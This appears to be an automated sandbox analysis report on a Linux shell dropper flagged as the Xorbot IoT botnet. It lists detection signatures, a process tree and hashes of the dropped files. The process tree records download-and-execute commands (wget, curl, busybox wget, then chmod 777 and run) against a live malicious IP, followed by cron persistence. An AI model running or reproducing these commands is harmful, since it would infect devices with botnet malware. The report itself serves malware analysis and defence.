Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/02/2025, 02:57

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-dfphyawkf1
  • SHA256 12734f2cb1b19aaa69d57283c4192a4b63578e42eadeadce2890068dc7ae4248
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (572) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:698
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:701
      • /usr/bin/wget
        wget http://194.85.251.8/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Writes file to tmp directory
        PID:703
      • /usr/bin/curl
        curl -O http://194.85.251.8/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Writes file to tmp directory
        PID:727
      • /bin/busybox
        /bin/busybox wget http://194.85.251.8/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Writes file to tmp directory
        PID:750
      • /bin/chmod
        chmod 777 qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • File and Directory Permissions Modification
        PID:755
      • /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        ./qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
          PID:756
        • /bin/rm
          rm qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
          2⤵
            PID:760
          • /usr/bin/wget
            wget http://194.85.251.8/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • Writes file to tmp directory
            PID:761
          • /usr/bin/curl
            curl -O http://194.85.251.8/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • Writes file to tmp directory
            PID:772
          • /bin/busybox
            /bin/busybox wget http://194.85.251.8/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • Writes file to tmp directory
            PID:780
          • /bin/chmod
            chmod 777 CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
            • File and Directory Permissions Modification
            PID:781
          • /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            ./CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
            2⤵
              PID:782
            • /bin/rm
              rm CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
              2⤵
                PID:784
              • /usr/bin/wget
                wget http://194.85.251.8/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • Writes file to tmp directory
                PID:785
              • /usr/bin/curl
                curl -O http://194.85.251.8/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/busybox
                /bin/busybox wget http://194.85.251.8/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                ./H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                2⤵
                  PID:806
                • /bin/rm
                  rm H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                  2⤵
                    PID:809
                  • /usr/bin/wget
                    wget http://194.85.251.8/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /usr/bin/curl
                    curl -O http://194.85.251.8/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • Writes file to tmp directory
                    PID:823
                  • /bin/busybox
                    /bin/busybox wget http://194.85.251.8/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • Writes file to tmp directory
                    PID:824
                  • /bin/chmod
                    chmod 777 wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:825
                  • /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    ./wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                    2⤵
                      PID:826
                    • /bin/rm
                      rm wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                      2⤵
                        PID:828
                      • /usr/bin/wget
                        wget http://194.85.251.8/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:829
                      • /usr/bin/curl
                        curl -O http://194.85.251.8/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:830
                      • /bin/busybox
                        /bin/busybox wget http://194.85.251.8/bins/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:834
                      • /bin/chmod
                        chmod 777 LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:835
                      • /tmp/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        ./LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        PID:836
                      • /bin/rm
                        rm LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                        2⤵
                        • System Network Configuration Discovery
                        PID:838
                      • /usr/bin/wget
                        wget http://194.85.251.8/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • Writes file to tmp directory
                        PID:839
                      • /usr/bin/curl
                        curl -O http://194.85.251.8/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • Writes file to tmp directory
                        PID:840
                      • /bin/busybox
                        /bin/busybox wget http://194.85.251.8/bins/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • Writes file to tmp directory
                        PID:841
                      • /bin/chmod
                        chmod 777 2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                        • File and Directory Permissions Modification
                        PID:842
                      • /tmp/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        ./2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                        2⤵
                          PID:843
                        • /bin/rm
                          rm 2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                          2⤵
                            PID:845
                          • /usr/bin/wget
                            wget http://194.85.251.8/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • Writes file to tmp directory
                            PID:846
                          • /usr/bin/curl
                            curl -O http://194.85.251.8/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • Writes file to tmp directory
                            PID:847
                          • /bin/busybox
                            /bin/busybox wget http://194.85.251.8/bins/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • Writes file to tmp directory
                            PID:848
                          • /bin/chmod
                            chmod 777 qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:849
                          • /tmp/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            ./qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                            2⤵
                              PID:850
                            • /bin/rm
                              rm qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                              2⤵
                                PID:852
                              • /usr/bin/wget
                                wget http://194.85.251.8/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • Writes file to tmp directory
                                PID:853
                              • /usr/bin/curl
                                curl -O http://194.85.251.8/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • Writes file to tmp directory
                                PID:854
                              • /bin/busybox
                                /bin/busybox wget http://194.85.251.8/bins/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • Writes file to tmp directory
                                PID:855
                              • /bin/chmod
                                chmod 777 0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                • File and Directory Permissions Modification
                                PID:856
                              • /tmp/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                ./0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                2⤵
                                  PID:857
                                • /bin/rm
                                  rm 0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                  2⤵
                                    PID:859
                                  • /usr/bin/wget
                                    wget http://194.85.251.8/bins/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:860
                                  • /usr/bin/curl
                                    curl -O http://194.85.251.8/bins/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:861
                                  • /bin/busybox
                                    /bin/busybox wget http://194.85.251.8/bins/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:862
                                  • /bin/chmod
                                    chmod 777 qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:863
                                  • /tmp/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    ./qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                    2⤵
                                      PID:864
                                    • /bin/rm
                                      rm qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                      2⤵
                                        PID:866
                                      • /usr/bin/wget
                                        wget http://194.85.251.8/bins/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:867
                                      • /usr/bin/curl
                                        curl -O http://194.85.251.8/bins/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:868
                                      • /bin/busybox
                                        /bin/busybox wget http://194.85.251.8/bins/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:869
                                      • /bin/chmod
                                        chmod 777 QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:870
                                      • /tmp/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        ./QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                        2⤵
                                          PID:871
                                        • /bin/rm
                                          rm QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                          2⤵
                                            PID:873
                                          • /usr/bin/wget
                                            wget http://194.85.251.8/bins/fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:874
                                          • /usr/bin/curl
                                            curl -O http://194.85.251.8/bins/fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:875
                                          • /bin/busybox
                                            /bin/busybox wget http://194.85.251.8/bins/fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:876
                                          • /bin/chmod
                                            chmod 777 fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:877
                                          • /tmp/fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                            ./fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                            2⤵
                                            • Renames itself
                                            • Reads runtime system information
                                            PID:878
                                            • /bin/sh
                                              sh -c "crontab -l"
                                              3⤵
                                                PID:880
                                                • /usr/bin/crontab
                                                  crontab -l
                                                  4⤵
                                                  • Reads runtime system information
                                                  PID:881
                                              • /bin/sh
                                                sh -c "crontab -"
                                                3⤵
                                                  PID:882
                                                  • /usr/bin/crontab
                                                    crontab -
                                                    4⤵
                                                    • Creates/modifies Cron job
                                                    • Reads runtime system information
                                                    PID:883
                                              • /bin/rm
                                                rm fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                                2⤵
                                                  PID:885
                                                • /usr/bin/wget
                                                  wget http://194.85.251.8/bins/rtlgxA0NZS6fbNi6NPOZh2HULY6hYGbJQd
                                                  2⤵
                                                    PID:888

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i

                                                      • Path /tmp/0kcuvnIiVvR2QTtXVRTIlNS97NbHb9YO1i
                                                      • Size 127KB
                                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l

                                                      • Path /tmp/2b953LNUT5m2A8Da2YYTimk2RKf71dGY3l
                                                      • Size 111KB
                                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H

                                                      • Path /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                                                      • Size 122KB
                                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci

                                                      • Path /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                                                      • Size 107KB
                                                      • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm

                                                      • Path /tmp/LTD5v0RiCgLbIdvOyMIp7RmL7CI71kZAVm
                                                      • Size 111KB
                                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T

                                                      • Path /tmp/QJjPSc3wscMbfAhXTKLUivXvw2gMTngQ9T
                                                      • Size 141KB
                                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg

                                                      • Path /tmp/fX1rPDrWiLMLFVkmIATvBkOsUbpawZGTJg
                                                      • Size 151KB
                                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT

                                                      • Path /tmp/qhAuBZCxp10xqMkNPi8uWhJHlYafjtslfT
                                                      • Size 177KB
                                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8

                                                      • Path /tmp/qpiGdKcEqlofC7vPbgqpJVY21mkuE88Gw8
                                                      • Size 98KB
                                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN

                                                      • Path /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                                                      • Size 119KB
                                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl

                                                      • Path /tmp/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                                                      • Size 151KB
                                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.yAOb4F

                                                      • Path /var/spool/cron/crontabs/tmp.yAOb4F
                                                      • Size 210B
                                                      • SHA256 f6163f678bdc2cf51cbc82a1ed60d46ec3f6feb94f7780ff62eb8c979235d646
                                                      • MD5 SHA1 SHA512